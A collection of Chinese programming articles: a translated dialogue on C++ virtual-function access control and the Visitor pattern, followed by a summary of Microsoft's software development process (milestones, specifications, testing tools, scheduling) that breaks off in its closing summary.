“Wendy，你的Mountie类好像不能工作耶，它有一个private virtual function。”

“你试过了？”她连头都不抬。

“嗯，那倒是没有啦，可是想想也不行啊？我的派生类怎么能override你的private函数呢？” 我嘟囔着。

“嗬，你倒是很确定啊！”Wendy的声音很轻柔，“你怎么老是这也不行，那也不行的，这几个月跟着我你就没学到什么东西吗？小菜鸟。”

真是可恶啊...

“小菜鸟，你全都忘了，访问控制级别跟一个函数是不是虚拟的根本没关系。判断一个函数是动态绑定还是静态绑定是函数调用解析的最后一个步骤。好好读读标准的3.4和5.2.2节吧。”

我完全处于下风，只好采取干扰战术。“好吧，就算你说的不错，我也还是不明白，何必把它设为private？”

“我且问你，倘若你不想让一个类中的成员函数被其他的类调用，应当如何处理？”

“当然是把它设置为private的，” 我回答道。

“那么你去看看我的Mountie类实现，特别是write()函数的实现。”

我正巴不得逃开Wendy那刺人的目光，便转过头去在我的屏幕上搜索，很快，我找到了：

void Mountie::write(std::ostream &Dudley) const

{

Dudley << classID() << std::endl;

do_write(Dudley);

}

嗨，最近卡通片真是看得太多了，居然犯这样的低级失误。还是老是承认吧：“好了，我明白了。classID()是一个实现细节，用来在保存对象时指示具象类的类型，派生类必须覆盖它，所以必须是纯虚的。但是既然是实现细节，就应该设为private的。”

“这还差不多，小菜鸟。”大虾点了点头，“现在给我解释一下为什么do_read()和do_write()是protected的？”

这个问题并不难，我组织了一下就回答：“因为派生类对象需要调用这两个函数的实现来读写其中的基类对象。”

“很好很好，”大虾差不多满意了，“不过，你再解释解释为什么我不把它们设为public的？”

现在我感觉好多了：“因为调用它们的时候必须以一种特定的方式进行。比如do_write()函数，必须先把类型信息写入，再把对象信息写入，这样读取的时候，负责生成对象的模块首先能够知道要读出来的对象是什么类型的，然后才能正确地从流中读取对象信息。”

“聪明啊，我的小菜鸟！”Wendy停顿了一下，“就跟学习外国口语一样，学习C++也不光是掌握语法而已，还必须要掌握大量的惯用法。”

“是啊是啊，我正打算读Coplien的书...”

[译者注：就是James Coplien 1992年的经典著作Advanced C++ Programming Style and Idioms]

大虾挥了挥她的手，“冷静，小菜鸟，我不是指先知Coplien的那本书，我是指某种结构背后隐含的惯用法。比如一个类有virtual destructor，相当于告诉你说：‘嗨，我是一个多态基类，来继承我吧！’ 而如果一个类的destructor不是虚拟的，则相当于是在说：‘我不能作为多态基类，看在老天的份上，别继承我。’”

“同样的，virtual函数的访问控制级别也具有隐含的意义。一个protected virtual function告诉你：‘你写的派生类应该，哦，可是说是必须调用我的实现。’而一个private virtual function是在说：‘派生类可以覆盖，也可以不覆盖我，随你的便。但是你不可以调用我的实现。’”

我点点头，告诉她我懂了，然后追问道：“那么public virtual function呢？”

“尽可能不要使用public virtual function。”她拿起一支笔写下了以下代码：

class HardToExtend

{

public:

virtual void f();

};

void HardToExtend::f()

{

// Perform a specific action

}

“假设你发布了这个类。在写第二版时，需求有所变化，你必须改用Template Method。可是这根本不可能，你知道为什么？”

“呃，这个...，不知道。”

“由两种可能的办法。其一，将f()的实现代码转移到一个新的函数中，然后将f()本身设为non-virtual的：

class HardToExtend

{

// possibly protected

virtual void do_f();

public:

void f();

};

void HardToExtend::f()

{

// pre-processing

do_f();

// post-processing

}

void HardToExtend::do_f()

{

// Perform a specific action

}

然而你原来写的派生类都是企图override函数f()而不是do_f()的，你必须改变所有的派生类实现，只要你错过了一个类，你的类层次就会染上先知Meyers所说的‘精神分裂的行径’。” [译者注：参见Scott Meyers，Effective C++, Item 37，绝对不要重新定义继承而来的非虚拟函数]

“另一种办法是将f()移到private区域，引入一个新的non-virtual函数：”

class HardToExtend

{

// possibly protected

virtual void f();

public:

void call_f();

};

“这会导致无数令人头痛的问题。首先，所有的客户都企图调用f()而不是call_f()，现在它们的代码都不能编译了。更有甚者，大部分派生类都回把f()放在public区域中，这样直接使用派生类的用户可以访问到你本来想保护的细节。”

“对待虚函数要象对待数据成员一样，把它们设为private的，直到设计上要求使用更宽松的访问控制再来调整。要知道由private入public易，由public入private难啊！”

[译者注：这篇文章所表达的思想具有一定的颠覆性，因为我们太容易在基类中设置public virtual function了，Java中甚至专门为这种做法建立了interface机制，现在竟然说这不好！一时间真是接受不了。但是仔细体会作者的意思，他并不是一般地反对public virtual function，只是在template method大背景下给出上述原则。虽然这个原则在一般的设计中也是值得考虑的，但是主要的应用领域还是在template method模式中。当然，template method是一种非常有用和常用的模式，因此也决定了本文提出的原则具有广泛的意义。]

----------------------------------------------------------------

II. Visitor模式

我正在为一个设计问题苦恼。试用期快结束了，我希望自己解决这个问题，来证明自己的进步。每个人都记得自己的第一份工作吧，也都应该知道在这个时候把活儿做好是多么的重要！我亲眼看到其他的新雇员没有过完试用期就被炒了鱿鱼，就是因为他们不懂得如何对付那个大虾...，别误会，我不是说她不好，她是我见过最棒的程序员，可就是有点刻薄古怪...。现在我拜她为师，不为别的，就是因为我十分希望能达到她那个高度。

我想在一个类层次(class hierarchy)中增加一个新的虚函数，但是这个类层次是由另外一帮人维护的，其他人碰都不能碰：

class Personnel

{

public:

virtual void Pay ( /*...*/ ) = 0;

virtual void Promote( /*...*/ ) = 0;

virtual void Accept ( PersonnelV& ) = 0;

// ... other functions ...

};

class Officer : public Personnel { /* override virtuals */ };

class Captain : public Officer { /* override virtuals */ };

class First : public Officer { /* override virtuals */ };

我想要一个函数，如果对象是船长(Captain)就这么做，如果是大副(First Officer)就那么做。Virtual function正是解决之道，在Personnel或者Officer中声明它，而在Captain和First覆盖(override)它。

糟糕的是，我不能增加这么一个虚函数。我知道可以用RTTI给出一个解决方案：

void f( Officer &o )

{

if( dynamic_cast<Captain*>(&o) )

/* do one thing */

else if( dynamic_cast<First*>(&o) )

/* do another thing */

}

int main()

{

Captain k;

First s;

f( k );

f( s );

}

但是我知道使用RTTI是公司编码标准所排斥的行为，我对自己说：“是的，虽然我以前不喜欢RTTI，但是这回我得改变对它的看法了。很显然，除了使用RTTI，别无它法。”

“任何问题都可以通过增加间接层次的方法解决。”

我噌地一下跳起来，那是大虾的声音，她不知道什么时候跑到我背后，“啊哟，您吓了我一跳...您刚才说什么？”

“任何问...”

“是的，我听清楚了，”我也不知道哪来的勇气，居然敢打断她，“我只是不知道您从哪冒出来的。”其实这话只不过是掩饰我内心的慌张。

“哈，算了吧，小菜鸟，”大虾斜着眼看着我，“你以为我不知道你心里想什么！”她把声音提高了八度，直盯着我，“那些可怜的C语言门徒才会使用switch语句处理不同的对象类型。你看：”

/* A not-atypical C program */

void f(struct someStruct *s)

{

switch(s->type) {

case APPLE:

/* do one thing */

break;

case ORANGE:

/* do another thing */

break;

/* ... etc. ... */

}

}

“这些人学习Stroustrup教主的C++语言时，最重要的事情就是学习如何设计好的类层次。”

“没错，”我又一次打断她，迫不及待地想让Wendy明白，我还是有两下子的，“他们应该设计一个Fruit基类，派生出Apple和Orange，用virtual function来作具体的事情。

“很好，小菜鸟。C语言门徒通常老习惯改不掉。但是，你应该知道，通过使用virtual function，你增加了一个间接层次。”她放下笔，“你所需要的不就是一个新的虚函数吗？”

“是的。可是我没有权力这么干。”

“因为你无权修改类层次，对吧！”

“您终于了解了情况，我们没法动它。也不知道这个该死的类层次是哪个家伙设计的...” 我嘀嘀咕咕着。

“是我设计的。”

“啊...，真的？！这个，嘿嘿...”，我极为尴尬。

“这个类层次必须非常稳定，因为有跨平台的问题。但是它的设计允许你增加新的virtual function，而不必烦劳RTTI。你可以通过增加一个间接层次的办法解决这个问题。请问，Personnel::Accept是什么?”

”嗯，这个...”

“这个类实现了一个模式，可惜这个模式的名字起得不太好，是个PNP，叫Visitor模式。”

[译者注：PNP，Poor-Named Pattern, 没起好名字的模式]

“啊，我刚刚读过Visitor模式。但是那只不过是允许若干对象之间相互迭代访问的模式，不是吗？”

她叹了一口气，“这是流行的错误理解。那个V，我觉得毋宁说是Visitor，还不如说是Virtual更好。这个PNP最重要的用途是允许在不改变类层次的前提下，向已经存在的类层次中增加新的虚函数。首先来看看Personnel及其派生类的Accept实现细节。”她拿起笔写下：

void Personnel::Accept( PersonnelV& v )

{ v.Visit( *this ); }

void Officer::Accept ( PersonnelV& v )

{ v.Visit( *this ); }

void Captain::Accept ( PersonnelV& v )

{ v.Visit( *this ); }

void First::Accept ( PersonnelV& v )

{ v.Visit( *this ); }

“Visitor的基类如下：”

class PersonnelV/*isitor*/

{

public:

virtual void Visit( Personnel& ) = 0;

virtual void Visit( Officer& ) = 0;

virtual void Visit( Captain& ) = 0;

virtual void Visit( First& ) = 0;

};

“啊，我记起来了。当我要利用Personnel类层次的多态性时，我只要调用Personnel::Accept(myVisitorObject)。由于Accept是虚函数，我的myVisitorObject.Visit()会针对正确的对象类型调用，根据重载法则，编译器会挑选最贴切的那个Visit来调用。这不相当于增加了一个新的虚拟函数了吗？”

“没错，小菜鸟。只要类层次支持Accept，我们就可以在不改动类层次的情况下增加新的虚函数了。”

“好了，我现在知道该怎么办了”，我写道：

class DoSomething : public PersonnelV

{

public:

virtual void Visit( Personnel& );

virtual void Visit( Officer& );

virtual void Visit( Captain& );

virtual void Visit( First& );

};

void DoSomething::Visit( Captain& c )

{

if( femaleGuestStarIsPresent )

c.TurnOnCharm();

else

c.StartFight();

}

void DoSomething::Visit( First& f )

{

f.RaiseEyebrowAtCaptainsBehavior();

}

void f( Personnel& p )

{

p.Accept( DoSomething() ); // 相当于 p.DoSomething()

}

int main()

{

Captain k;

First s;

f( k );

f( s );

}

大虾满意地笑了，“也许这个模式换一个名字会更好理解，可惜世事往往不遂人意...”。

[译者注：这篇文章我作了一定的删节，原文中有稍微多一些的论述，而且提供了两篇技术文章的link。]


微软公司软件开发模式简介

微软公司软件开发模式简介

Smalllamb

北京大学出版社96年底所出的《微软的秘密》一书是目前我所见到的对微软公司软件产品开发过程介绍的最专业、最深入的一本书。通过本书，我们可以看到微软公司是如何对科学地对软件产品开发进行有效地管理，我想这些经验对于中国的广大软件开发人员，尤其是关心中国软件产业发展的各位朋友是大有益处的。所以特将此书中涉及软件产品开发的部分内容摘录出来（第四章“产品定义与开发过程”），加上我在微软中国工作的实际经验总结出这篇文章，希望与大家共同分享。本文作为摘录，自然是挂一漏万，所以建议大家若有时间还是找来原书一读。

在微软的产品定义与开发过程中，微软软件开发遵循着一种可称之为“靠改进特性（Feature）与固定资源（Resource）来激发创造力”的战略。该战略可分为五个原则：

将大项目分成若干里程碑式（Milestone）的重要阶段，各阶段之间有缓冲时间，但不进行单独的产品维护。

运用想象描述和对特性的概要说明（Program Specification）指导项目。

根据用户行为（User Behavior）和有关用户的资料确定产品特性及其优先顺序。

建立模块化的和水平式的设计结构，并使项目结构反映产品结构的特点。

靠个人负责和固定项目资源实施控制。

原则一：将大项目分成若干里程碑式的重要阶段，各阶段之间有缓冲时间，但不进行单独的产品维护。

项目进度安排与里程碑

微软通常采用“同步－稳定产品开发法”。典型项目的生命周期包括三个阶段：

计划阶段：完成功能的说明和进度表的最后制定

开发阶段：写出完整的的源代码

稳定化阶段：完成产品，使之能够批量生产（Roll Out）

这三个大阶段以及阶段间内在的循环方法与传统的“瀑布”（Water Fall）式开发方式很不相同，后者是由需求、详尽设计、模块化的代码设计与测试、集成测试以及系统测试组成的。而微软的三个阶段更像是风险驱动的、渐进的“螺旋”式的生命周期模型。

计划阶段的产品是想象性描述与说明文件，用来解释项目将做什么和怎么做。在管理人员拟定进度表、开发员写出代码之前，这些东西都促进了人们对设计问题的思考与讨论。开发阶段围绕三次主要的内部产品发布来进行；稳定化阶段集中于广泛的内部与外部测试。在整个产品生产周期中，微软都使用了缓冲时间的概念。缓冲时间使开发组能够对付意外的困难和影响到时间进度的变故，它也提供了一种手段，可以缓和及时发货与试图精确估计发货时间之间的矛盾。

在开发和稳定化阶段的所有时间中，一个项目通常会将2/3的时间用于开发，1/3的时间用于稳定化。（Office部门副总裁曾这样概述通常的进度：“一般说来，在总的进度表中，用一半的时间写出产品，留下另一半的时间调试或应付意外事故。这样，如果我有一个两年的项目，我会用一年来完成事先想好的东西……如果事情有点麻烦，我便去掉我认为不太重要的特性。”）。这种里程碑式的工作过程使微软的经理们可以清楚地了解产品开发过程进行到了哪一步，也使他们在开发阶段的后期有能力灵活地删去一些产品特性以满足发货时期的要求。

计划阶段

计划阶段是在一个项目的生命周期中，所有于开发前进行的计划所占用的时间。计划阶段产生出想象性描述、市场营销计划、设计目标、一份最初的产品说明、为集成其他组开发的构件而规定的接口标准、最初的测试计划、一个文档策划（印刷品和联机帮助形式的）以及一份可用性问题清单（Usability List）。计划阶段从想象性描述开始。想象性描述来自产品经理以及各产品单位的程序经理；它是对规划产品的市场营销设想，包括了对竞争对手产品的分析以及对未来版本的规划。想象性描述也可能讨论在前一次版本中发现面必须解决的问题以及应添加的主要功能。所有这些都基于对顾客和市场的分析以及从产品支持服务组处得到的资料。

说明文件从一个大纲开始，然后定义出新的或增加的产品特性，并对其赋以不同的优先级。说明文件只是产品特性的一个预备性概览；从开始开发到项目完成它要增加或变化20% - 30%。虽然在生命周期的后期说明变化一般较小，但越到后期，开发员就越是必须具充分的理由来作改变。

通常程序经理使用VB创建项目原型。他们也开展设计可行性研究以了解设计中的取舍情况，尽快做出涉及产品说明的决定。对于重要产品的说明需由公司高层领导进行复审。对于不太重要的产品，则由部分经理去完成。

开发阶段

开发阶段的计划对三四个主要的里程碑版本都逐个分配一组特性，规定出特性的细节和技术上的相关性，记录下单个开发员的任务以及对进度的估计。在开发阶段中，开发员在功能性说明的指导下写源代码，测试员写出测试项目组以检查产品的特性与工作范围是否正常，用户教育人员（User Education）则编写出文档草案。

当测试员发现错误时，开发员并不是留待以后处理，而是马上改正，并在整个开发阶段内使测试不断地、自动地进行。这就改善了产品的稳定性并且使版本发布日期更易估计。当达到项目中的一定阶段点后（40%时），开发员就试图“锁定”产品的主要功能要求或特性，从此只允许小范围的改动。如果在此点之后开发员想作大的改动，他们必须与程序经理以及开发经理进行讨论协商，也许还要征求产品部门经理的意见。

一个项目是围绕着3或4个主要的内部版本，或“里程碑子项目”来组织开发阶段的。一般用2至4个月来开发每一个主要的里程碑版本。每个版本都包括其自身的编码、优化、测试以及调试活动。项目为意外事故保留总开发1/3的时间，即“缓冲时间”（Padding Time）。（苹果公司的小组是割裂的、独立的，各自开发各自的东西。在还有3个月就要发货时，才会将所有的东西集成起来；Borland公司以一种渐近的方式进行开发，即把工作分成许多小的部分，并且总是让开发的东西能够运转。看起来似乎这种渐进的方法费时，但实际上几乎没有用过很长时间，因为这使你总是能掌握住事情真实的情况。）

当对最后一个主要的里程碑版本做了测试与稳定化之后，产品就要进行“外观固定”（UI Freeze），即确定产品的主要用户界面，如菜单、对话框以及文件窗口等。此后有关用户界面将不再进行大的改动，以免引进同步修改相应文档的困难。

稳定化阶段

稳定化阶段着重于对产品的测试与调试。项目在此阶段尽量不再增加新的功能，除非是竞争产品或者市场发生了变化。稳定化阶段也包括了缓冲时间，以应付不可预见的问题或者延迟。

下面我将Micosoft开发软件的模式用以下这张简图加以描述：（这张图对微软的测试进行了比较详细的描述，我个人认为微软的测试是Microsoft软件产品开发中一个十分重要也是十分有特色的分工。这是通过在微软将近一年的观察和与国内同类企业的分析，我才得出这样的结论。大家都很明白，国内的软件开发商在这方面做得很不够，尤其不重视软件的内部测试，在他们的思想中，可能有一个误区：认为测试应该完全去由用户去负责，其实不然，在软件的开发流程中，软件的测试与开发是一种“矛与盾”的关系，互为补充，缺一不可。在微软，可能这种关系发挥到了极至：有时开发部门与测试部门互相较着劲，开发经理和测试经理的地位是相同的，有时甚至测试经理的地位甚至凌驾于开发经理之上，但他们之间没有根本的利益冲突，只有一个共同的目标：将产品的质量提高。）

补充一点：（对微软的测试流程加以简要的描述一下）微软内部，专门有一个小组负责为微软的工程师们提供日常工作和管理的工具软件，他们是非盈利机构，其主要任务是开发微软内部所需要的工具软件：例如：

SLM(Source Library Tree),源代码管理工具，负责管理软件开发过程中各个程序员的源码，各个程序员负责写自己的模块，每天将完成的代码Check-in到一个中央服务器的SLM树中，这个SLM树由预先定义好的脚本在固定的时间开始编译，通常这个过程需要好几个小时，所以微软内部根据各个项目组的情况有各自的规定：比如开发员必须在下班前（比如下午6：00）之前将当天修改的代码Check-in进去，这样SLM才开始编译。

第二天，QA组的各个测试员从服务器上下载前一天的一个Build开始测试，将测试的情况及时的反映到另外一个工具软件中：RAID（Raid is a tool for entering, tracking, analyzing, and reporting product defects during development and maintenance.）.这个工具负责管理产品的BUG情况，每个BUG包含很多属性：比如状态（活动的、解决的、关闭的）、严重级、优先级、哪个区域、哪个版本出现的、发现者、要将这个BUG赋给哪一个开发员等等一系列属性。还可以根据这个工具查询哪个开发员当天的BUG活动的、解决的数量，哪个测试员的BUG质量数目等等一些基本的产品质量情况，这样项目经理可以很容易的掌握该项目的具体进展情况。如果在项目的开发中期，发现的BUG数目比解决的BUG数目持续的多（意味着该产品的活着的BUG越来越多），可能意味着这个项目出现了问题，决策者可以迅速的作出相应的决策，及时的纠正产品开发中出现的失误（微软曾经有很多产品因为这样的因素被Cancel了）。还有项目经理可以根据这个工具，及时的掌握、了解每个测试员和开发员的工作状态，这一点很重要。有很多人曾经说过：Microsoft凭借着SLM和RAID打败了无数的竞争对手，通过我在微软的经历，我看这话一点也不假。这两个工具确实是非常杰出的工具，微软将它们使用到了十分艺术的程度上，对微软的成功起着非常重要的作用。更难能可贵的是，目前这些工具在功能上还在不断的进行改进、升级，使得微软的工程师们工作起来更加如虎添翼、虎虎生风，这样的企业哪有不成功的道理?

在测试过程中，也不是随便的对软件产品毫无目的的瞎使用、乱使用，微软也有一套十分先进的方法和工具支撑着测试的每个方面：比如ATCM(　Access Test Case Management)，一种基于Test Case（测试用例）的测试管理工具就承担着这方面的工作。

微软也许正是靠着“程序员的聪明和测试员的勤奋”构建起软件帝国的大厦、谱写着软件事业的辉煌。

Product Developing Process in Microsoft

上图中： QA是微软大的产品部门下设的一个比较专业的测试部门（Quality Assurance Dept）

项目进度表中的缓冲时间（Padding Time）

微软使用缓冲计划，以在最高的效率与较好地对未来作预计之间求得平衡。这种应付突发事件的时间在开发和稳定化过程中是每一个主要里程碑的一部分。缓冲时间主要用于弥补由于对特性（Feature）的不完全理解，或者是技术困难或是由于疏忽而忘记把任务写入进度，或者是未料到的难题而形成的漏洞。缓冲时间有助于一个项目适应意料之外的事件。

原则二：运用想象性描述和对特性的概要说明指导项目

为了给出足够的开发框架以使工作能持续进行，并且能容纳开发过程中出现的变化并保持足够的灵活性，微软采用想象性描述和概要的说明来指导项目开发，而不是在一开始就努力写出一份完整和详细的说明。所谓想象性描述是由程序经理和来自市场营销组的产品计划人员共同编写的一份非常短的文件，在其中主要是定义产品开发的目标（不涉及产品的具体细节！）。通常对一个全新的产品，想象性描述一般会相对较详细，在其中还含有一份粗略的说明文件。总的来说，微软对于想象性描述的要求是：

越短越好，尽量说明"产品不做什么"(而不是"产品要做什么"！)。

运用想象性描述，程序经理开始编写功能说明文件，该文件解释产品的特性是什么以及这些特性如何与其他特性及产品发生关系。最初它只是一个概要性的说明文件，随着项目的进展，程序经理会随时向其中添加更多的细节，最终的说明文件将变得象用户手册一样。完整的说明不只起着对产品最新功能的描述作用，而且它还是在产品投产与发货之前进行测试与评估的主要依据。

想象性描述有助于决定删除哪些特性。

微软内的各个开发组采用想象性描述帮助细化产品版本的规定主题，然后以此主题来决定是否需要增加产品各个可能的特性。通常不要轻易改变所确定的主题，否则可能造成产品开发上的混乱。

编写说明文件

说明文件在产品小组的所有成员之间，产品小组之间以及产品小组与管理部门之间起着传递产品的设想与要求的作用。在说明文件中必须清楚地描述产品特性（描述每个特性如何工作，外观如何以及从用户的角度出发如何与用户交互。如果特性有一个界面，还应包括一张示意图，以显示出界面的效果），并赋于其相应的优先级。程序经理据此建立起项目的开发进度表。此外在其中还应包括以下各项内容：用一句话表示的项目开发目的，关于产品是什么与不是什么的清单，对顾客的定义，对竞争产品的定义，产品对系统的要求（包括操作系统版本、最小内存要求、硬盘空间、处理器速度以及显示器分辩率），对第三方（如打印机驱动程序、组件）的任何依赖性。程序经理负责协调并"写下"说明

程序经理（Program Manager）应考虑以下问题：

这项特性的要点是什么？

用户如何使用该特性？

这项特性有意义吗？

该产品中或微软的其他产品中有类似的特性吗？

有哪些问题被遗漏了？

组内的交流令人满意吗？

最终程序经理通过与组内开发人员的共同讨论决定有关特性的内容，并将其写下来。

构造原型

构造原型是程序经理具体说明一件新产品或一个新版本的最好方法，这从许多方面来说都使开发前测试成为可能，尤其在可用性方面，并且有助于对与用户交互情况作出好的理解，它也能使产品说明更紧凑。

微软的开发人员通常采用VB构造用户界面原型，但是对于构造计算机屏幕模型之类的工作，画笔（Paint brush）也是一个很好用的工具。死板的说明变成有生命的文件，说明不应过于详细以至限制了发明创造。在项目开发过程中，说明文件的早期版本会有相当大的增加与改变。由于说明的变动可能会导致相应开发工作的极大变动，所以微软通常是将精力首先集中于那些没有什么用户界面的特性上，因为在完成开发前不必去了解用户对它们有何反应，也就是说这些特性不大可能改变。然后再面对其它特性。但是当产品开发到一定程序后，例如40%之后，程序经理必须严格控制对特性的修改（主要是指增加新的特性），否则不光会造成开发延迟，而且会压缩可用的测试时间。

原则三：根据用户行为和有关用户的资料确定产品特牲及其优先顺序

对于一个开发项目而言，如何确定最终产品中应包含什么特性通常是比较困难的一件事。为此微软采用了一个称之为“基于行为制定计划”的方式来进行特性选择与优先级安排。

基于行为制定计划法从对用户行为，诸如写信或做预算，做系统研究开始。然后，根据某一特性在支持重要的或者是经常的用户行为上的程序对其进行评价。这样做的优点是对特性取舍更具理性：讨论对顾客想要做什么加以更好的安排，对某个给定特性是否方便了特定任务的更集中的辩论，可读性更强的说明，以及在市场营销、用户教育和产品开发中更好地同步。

特性选择和优先级安排中的基于行为制定计划

基于行为制定计划法中的关键点在于按用户行为、产品特性以及行为和特性之间的内部联系来分析产品。程序经理和产品计划者把产品试图支持的用户任务或方案分成大约20个“行为”，然后他们努力把行为（以及任何子行为）映射入微软的现行特性和竞争对手产品的特性中去。他们也把行为映射到不同的顾客形象或不同的市场部分中去。

当说明产品的新版本时，基于行为制定计划法帮助程序经理和开发员集中他们的精力与创造力。象Excel之类的项目，争取在每个新版本中加入的主要行为不超过四个。绝大多数特性直接映射入这些行为之中。该做法使项目可以按特性对用户的价值来进行分级。通过分级，促使程序经理和开发人员都行动起来，使他们的特性支持尽可能多的行为。这种良性竞争对于用户有益，同时也利于提高生产率。

为顾客行为而非产品特性准备资料

基于行为制定计划进度，项目在计划阶段首先集中于行为，其次才是特性。程序经理和市场营销人员并不去思考和排除他们喜爱的特性，再围绕它们搞出想象性描述的草案。他们真正做的是列出一份顾客都做些什么的清单，然后把想象性描述集中于支持那些行为的特性上。

以行为为中心对产品进行全面考虑

由于基于行为制定计划法是从整个产品的观点着眼，因此有助于在不同职能上工作的项目成员理解产品做什么，以及其他产品的相应特性如何可能支持那些需要或不需要其他应用软件产品的行为。

做市场营销研究以支持基于行为制定计划法

为支持基于行为制定计划法，从市场营销组来的产品经理与程序经理、开发人员一起开展一些联合的研究，如指导对用户的研究工作。然而，一般来说是产品经理做大多数的研究，并可使其更明确地影响微软产品的演进。

原则四：建立模块化的和水平式的设计结构，并使项目结构反映产品结构的特点

微软产品设计中的一个关键概念是产品的基础结构（Infrastructure），尤其是生命周期短的应用软件，应随项目的进展变得更加单一（而不是错综复杂）。当开发组构造产品的第一版时，他们更多地使用分级式结构，好为产品设计规定出一个最初的架构。随着时间推移，他们向单一的结构迈进，以使项目能集中于特性开发。微软越来越强调不同产品间的特性共享。共享有助于使不同产品的“性能与感觉”（Look and Feel）都统一协调起来；它也方便了需要不只一个应用软件的用户，减少了代码的重复书写，缩小了单独一个应用软件的规模。

微软用特性小组组织产品开发，这种方法使得每个人都容易明白小组是如何与整个产品相关联的。项目从规定概要说明开始。概要说明的形式是一份已确定了优先级安排的内容清单，涉及产品下一版本将要开发的相对独立的特性，以便由分开的特性小组加以开发。

程序经理和开发员把项目分成特性子集，再将之分配给每个特性小组，让他们在3到4个主要的内部项目里程碑中进行生产。这种产品组织与开发方法使微软能靠简单地增加开发员和创建一个大的小组来渐进地增加产品的功能。

把特性(与函数)作为开发单位

微软软件产品的特性是用户最终可见的相对独立的功能单位，就如建筑材料一般，对应用软件产品更是如此。系统软件产品，如NT或者95的特性，对最终用户通常不直接可见。微软和其他公司有时简单地称这些不直接可见的特性为“函数”。

程序经理承担开发一组特性或函数，实现从说明经测试、文档化直到最后完成的过程。他们必须与开发员合作，后者负责估计进度表与完善每个特性。开发员还要在一台联网开发计算机上存储一到几个文件，用以保存特性的程序源代码。大多数特性的开发与改进只要一名开发员，而有的大型特性则要一个小的小组。

产品结构是决定其长期结构完整性的基石

产品结构是产品内部的基干，它规定了重要的结构构件以及这些构件如何组装到一起。产品结构及用于组装结构的构件，提供了实现产品特性（即做详细设计与编码）的支柱。产品的结构对最终用户而言，通常并非直接可见。只有结构要实现的特性是可见的。产品结构也是决定产品长期结构完整性的基石。产品功能的任何改变都不应造成潜在的产品结构散架。

产品的层次结构

对于产品，也可以采用层次结构的方法加以分析。通常定义良好的层次结构有助于对产品特性进行灵活的增加、删除与改进。此外良好的层次结构有助于产品在不同平台上的移植。（例如Excel总共定义了五层，其中只有最底层的操作系统层是与平台相关的，其它各层均是通过调用其下层所提供的API接口加以实现的，所以其移植极其方便。而在Windows 95中通过“虚拟机”的概念实现了对16位、32位以及DOS程序的支持。）

小的结构文档：源代码是唯一文件

除了API文档，微软不对其产品结构生成相应的文档，虽然有时高级开发员可能会写下高层结构。对复杂的特性，许多开发员在某些点记录并复查特定于他们所负责的结构细节，但此工作是可选的，并不强制执行。除了源代码文件与特性说明，为数不多的组为新程序员准务了描绘某层结构的文档（主要的数据结构，如何工作等等）。但是这些文件并不时常更新，经理们也不要求项目组生成此类内部文档。在有关的说明文件中，并不涉及实现问题。开发员应该知道如何去实现，或者能够去学会。记录的关于结构的文档如此之少是因为“一个开发员的工作是编写我们要卖的代码，而不是花时间写高水平的设计文件”，“设计文件不应与源代码分离”。分割代码与“保持事情的简单”。

特性小组和作为"内容专家"的小组领导

特性小组一般由一个领导和3至8名开发人员组成，工作于相关的特性领域。小组的规模常常视小组领导的经验和能力而定。特性小组领导向项目开发领导汇报并负责项目的全部开发工作；而项目开发领导则拥有对产品的更为全局性的观点，从而最有可能发现不互相关联的问题。在特性小组中的每个人均是此领域的“专家”，他们了解如何使用产品、了解竞争对手的产品、了解未来将向何处去。通常为便于交流，提高软件的组织结构（软件倾向于映射出构造它的组织的结构），应保持特性小组的小规模。

原则五：靠个人负责和固定项目资源实旋控制

对于软件项目而言，精确估计产品的开发与交付进度是很困难的。对此微软采取的方法是将进度安排和工作管理的责任推到最底层，即单个的开发人员和测试人员那儿去。这保证了每个人除了作为小组的一部分外，还负有个人的责任。单独的开发人员设立他们自已的进度表，程序经理把单独的进度表汇总起来，再加上缓冲时间，以制定出一个全面的项目进度表。顶层的总经理也固定人员与时间等基本资源，以确保项目集中并限制其努力与创造程序。

关键的目标，尤其对应用软件，是指明产品的目标出品日并争取尽可能长久地坚持它。程序经理和开发员从出品日回溯，规定中间的项目里程碑的日期。这个“固定的出品日法“的中心在开发员身上。以避免因为项目没有固定的结束点，导致在最终无用的设计、再设计和测试的循环中消耗一年或更多的时间。

开发人员做出他们自已的进度估计

“日期设定方法"。但是开发人员一般会做出较乐观的估计，因此开发经理还需对他们所提供的日期进行调整并加上缓冲时间以避免因因信息不完全而出现的问题。微软这种制定进度的方法的优点在于：它从人们那儿得到更多的合作，因为日期是自已定的，不是经理定的；进度总是富有进取性，因为开发人员不可避免地会低估他们真正需要的时间。

对细致的任务的进度估计

微软的第二个进度安排方法是：对要完成的任务做非常详尽的考虑，在此基础上请开发人员给出他们对“实现”的估计，以此力图“促使”更加现实主义并避免过度低估。

通常微软把任务细化到4小时（半天）到3天之间。对于准确进度的安排，微软的经理是这样认识的：“任何任务只要超过一星期，那人们就一定没有充分地全盘考虑它。任何任务某人估计只用少于半天就可完成，则他对它考虑得太多了。他应该用更多的时间去编程，更少的时间来考虑”。对于类似类于Windows NT之类的操作系统而言，进度安排更加困难，对其一般以几天或者半周为工作单位进行进度估计。

安排开发人员与小组进度时的心理学

当项目变大时，微软把员工分成小组。然后经理把进度的责任和所有权尽可能地分发下去，直到小组和个人；这使二者都产生了一种拥用工作的感觉。它还在小组中，个人中，尤其是小组领导中造成强烈的跟上其它同事预计进度的压力，因为经理可能再平衡进度，从落后的小组或个人手中拿走工作。这样，同事间的压力使经理不需要太多的努力就可以对个人或单个小组的进程实施严格控制。

"固定的"出品日(　RTM: Release To Manufacture)

为了把创造力约束在时间限制之中，微软现在在新产品或者产品新版本开始前争取固定出品日，至少是有出品日的内部目标。这给人们施加砍去特性和集中在一个项目上的压力，逼迫他们去苦苦思考应将哪个新特性加入产品中。虽然最终产品的交付目标可能是由高级执行人员设定，但是开发人员与小组仍然设定他们自已的进度表。

微软一般根据预先的时间进度的大致估计出一个RTM日期，然后向前回溯相应的各个Milestone日期，如RC、Beta、Tree Lock、UI Freeze、Feature Complete以及CC（Code Complete）等等各个Milestone的相应日期。制定出十分详尽的产品研究开发时间进度表，产品开发组的各个成员以这个进度表为目标统一协调工作。微软十分强调软件开发过程中的Teamwork Spirits，这种理念贯穿在微软各个产品开发的各个阶段。这也是微软得以成功的一个十分重要的原因。

小结：同步－稳定开发法

计划阶段

定义产品的想象性描述、说明与进度

想象性描述 产品和程序管理部门运用广泛的顾客意见来确定和优化产品的特性。

说明文件 基于想象性描述，程序管理部门与开发组定义特性的功能，结构问题，以及各部分间的相关性。

